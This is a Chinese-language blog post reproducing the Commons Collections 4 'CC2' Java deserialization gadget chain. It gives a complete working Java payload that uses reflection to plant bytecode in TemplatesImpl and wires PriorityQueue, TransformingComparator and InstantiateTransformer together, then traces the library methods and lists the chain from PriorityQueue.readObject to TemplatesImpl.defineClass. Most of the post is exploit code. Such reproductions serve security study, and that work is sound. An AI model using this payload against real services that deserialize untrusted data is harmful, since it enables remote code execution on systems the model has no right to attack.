java 反序列化 cc2 复现

cc2就是cc4的一个变种,无论是出口还是执行命令部分都没有改变,只是绕过了Chainedtransformer,直接将InstantiateTransformerTransformingComparator去进行了衔接.
直接放我改后的payload

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
//        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
//        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
//        Transformer[] transformers = {ct, it};  
//  
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
//  
//        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  
//        PriorityQueue pq = new PriorityQueue<>(transformingComparator);  
  
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer);  
        PriorityQueue pq = new PriorityQueue(transformingComparator);  
  
        Class clazz1 = pq.getClass();  
        Field field1 = clazz1.getDeclaredField("size");  
        field1.setAccessible(true);  
        field1.set(pq, 2);  
  
        /*  
        * 通过修改 PriorityQueue 的 queue 字段,来设置InstantiateTransformer的transform方法去构造的类  
         */       
        Class clazz0 = pq.getClass();  
        Field field0 = clazz0.getDeclaredField("queue");  
        field0.setAccessible(true);  
        field0.set(pq, new Object[]{TrAXFilter.class, 2});  
  
        serial(pq);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws IOException {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws IOException, ClassNotFoundException {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

感觉网上的改法五花八门的,所以就没看自己去改的.重点分析TrAXFilter.class如何从队列的一个参数传递到InstantiateTransformer的,这也是cc2相对cc4的不同之处.(cc4是直接通过ChainedTransformer来衔接的,不需要进行传递)

PriorityQueue

我们在cc4中分析过siftDownUsingComparator调用compare方法.

private void siftDownUsingComparator(int k, E x) {  
    int half = size >>> 1;  
    while (k < half) {  
        int child = (k << 1) + 1;  
        Object c = queue[child];  
        int right = child + 1;  
        if (right < size &&  
            comparator.compare((E) c, (E) queue[right]) > 0)  
            c = queue[child = right];  
        if (comparator.compare(x, (E) c) <= 0)  
            break;  
        queue[k] = c;  
        k = child;  
    }  
    queue[k] = x;  
}

发现compare方法的第二个参数传递的是(E) queue[right],也就是说他把队列中的一个元素传递了过去.

TransformingComparator

来看这个compare方法

public int compare(final I obj1, final I obj2) {  
    final O value1 = this.transformer.transform(obj1);  
    final O value2 = this.transformer.transform(obj2);  
    return this.decorated.compare(value1, value2);  
}

在接受到参数后,直接用参数执行了transform方法,也就是通过obj2将之前队列里的TrAXFilter传递给了InstantiateTransformer

InstantiateTransformer

直接看这个transform

public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        } catch (NoSuchMethodException var3) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException var4) {
            InstantiationException ex = var4;
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException var5) {
            IllegalAccessException ex = var5;
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException var6) {
            InvocationTargetException ex = var6;
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

此时已经非常明了了.获取TrAXFilter的构造方法并构建一个实例,而TrAXFilter的构造方法中触发了newTransformer,这里已经对接上了cc3.
归纳出利用链

Gadget chain:
PriorityQueue.readObject()
    PriorityQueue.heapify()  
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    InstantiateTransformer.transform()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.defineClass()
posted @ 2024-11-15 08:29  meraklbz  阅读(1)  评论(0编辑  收藏  举报